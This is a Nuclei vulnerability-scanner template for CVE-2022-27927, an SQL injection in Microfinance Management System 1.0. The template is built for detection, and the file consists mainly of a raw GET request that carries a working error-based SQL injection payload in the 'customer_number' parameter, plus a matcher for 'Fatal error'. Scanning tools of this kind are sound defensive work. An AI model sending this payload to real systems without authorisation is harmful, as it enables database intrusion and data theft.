nuclei-templates/cves/2022/CVE-2022-27927.yaml

48 lines
1.9 KiB
YAML

id: CVE-2022-27927
info:
name: Microfinance Management System 1.0 - 'customer_number' SQLi
author: lucasljm2001,ekrause
severity: critical
description: |
Detects an SQL Injection vulnerability in Microfinance Management System.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
- https://nvd.nist.gov/vuln/detail/CVE-2022-27927
- https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
- https://www.exploit-db.com/exploits/50891
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-27927
tags: cve,cve2022,sqli
requests:
- raw:
- |
GET /mims/updatecustomer.php?customer_number=-1%27%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%27-- HTTP/1.1
Host: {{Hostname}}
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Connection: close
matchers-condition: and
matchers:
- type: word
words:
- 'Fatal error'
- type: status
status:
- 200